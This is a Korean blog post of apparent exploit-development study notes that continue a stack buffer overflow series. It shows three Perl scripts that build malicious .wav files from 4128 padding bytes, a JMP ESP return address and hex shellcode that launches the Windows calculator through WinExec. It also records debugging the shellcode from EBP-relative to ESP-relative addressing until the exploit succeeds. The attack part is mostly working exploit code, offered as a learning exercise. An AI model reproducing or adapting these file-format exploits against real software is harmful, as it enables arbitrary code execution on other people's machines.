STACK 기반
Buffer Overflow_1에 이어서
[참고]
MP, CALL, RET 는 방향의 변환을 주는 언어기 때문에 주의해서 볼 것
- Return to Shellcode에 JMP ESP 가 있는 곳을 주소로 대입(예.00401111)하면 STACK 에 Shell code부분이 ESP의 주소가 들어가므로 ESP가 실행됨
( shellcode에 직접 삽입할 필요가 없음 )
- 여기서 JMP ESP 검색
- 이 주소를 이용해서 시도
- PERL 파일 만들어서 execute
- 리턴값과 쉘값을 직접 넣어줌
# Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x45\xFB\x63\x36\xC6\x45\xFC\x61\x36\xC6\x45\xFD\x68\x36\xC6\x45\xFE\x63\x36\xC6\x45\xFF\x00\x6A\x05\x36\x8D\x45\xFB\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);
- 결과
더미값의 수, rtn값주소 다 맞음
(실행시켰을 때 내가 만들어놓은 함수에게로 도착함)
근데 실행되기 바로 직전에 멈춤
이유 : EBP의 값이 41414141,-> ESP와 EBP사이에 쉘코드를 넣어줘야하므로 EBP를 더 아래로 내려줘야한다.
- 그러므로 ShellCode를 다시 짜야함 EBP기준을 ESP로
어셈블리어
39bytes이상으로 넉넉하게 잡기위해서 50으로
리버싱
바이너리만 카피해서 기계어 뽑아내기
# Fuzzer1
my $file= "fuzz5.wav";
my $dummy = "\x41" x 4128;
my $ret = "\xD1\xC8\x43\x00";
my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x6A\x05\x36\x8D\x44\x24\x50\x50\xBE\xAD\x23\x86\x7C\xFF\xD6";
open($fd,">$file");
print $fd $dummy.$ret.$shell;
close($fd);
- TIP으로 실행
함수가 진행되고 난 다음인데 계산기 창이 뜨지 않음
ESP를 기준으로 사용할 때는 PUSH 값이 중요함
ShellCode를 바꿔야한다는 의미
- 쉘코드 변경
PUSH 5 는 SW_SHOW의 인자값이 5
# Fuzzer2my $file= "ne20.wav";my $dummy = "\x41" x 4128;my $ret = "\xD1\xC8\x43\x00";my $shell = "\x36\xC6\x44\x24\x50\x63\x36\xC6\x44\x24\x51\x61\x36\xC6\x44\x24\x52\x6C\x36\xC6\x44\x24\x53\x63\x36\xC6\x44\x24\x54\x00\x36\x8D\x44\x24\x50\x6A\x05\x50\xBE\xAD\x23\x86\x7C\xFF\xD6"open($fd,">$file");print $fd $dummy.$ret.$shell;
close($fd);
- 기계어뽑아내서 wav 파일을 만들어서 실행
성공-!
2019-01-06
No comments:
Post a Comment